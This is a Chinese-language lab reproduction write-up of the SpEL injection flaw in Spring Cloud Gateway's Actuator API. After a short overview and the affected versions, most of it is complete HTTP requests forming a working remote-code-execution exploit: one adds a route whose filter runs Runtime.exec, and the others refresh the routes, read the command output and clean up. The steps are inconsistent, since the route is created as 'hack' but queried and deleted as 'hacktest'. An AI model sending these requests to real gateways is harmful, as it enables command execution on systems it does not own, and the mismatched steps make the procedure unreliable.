漏洞概述
Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的 API路由管理方式。
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
影响版本
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7 Spring Cloud Gateway
其他已不再更新的版本
漏洞复现
使用信息泄露字典对靶场进行爆破,发现actuator下有数据,但是并未爆破到actuator/gateway/routes/路径,访问下看下
下面开始漏洞利用
1.首先构造一个post请求包,可利用如下数据包添加一个包含恶意SpEL表达式的路由
POST /actuator/gateway/routes/hack HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hack",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com:80",
"order":0
}
需要注意的是这里的content-type需要是json格式
2.触发对SpEL表达式的执行
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
3.查看执行结果
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
4.删除添加的路由
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
5.刷新路由
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded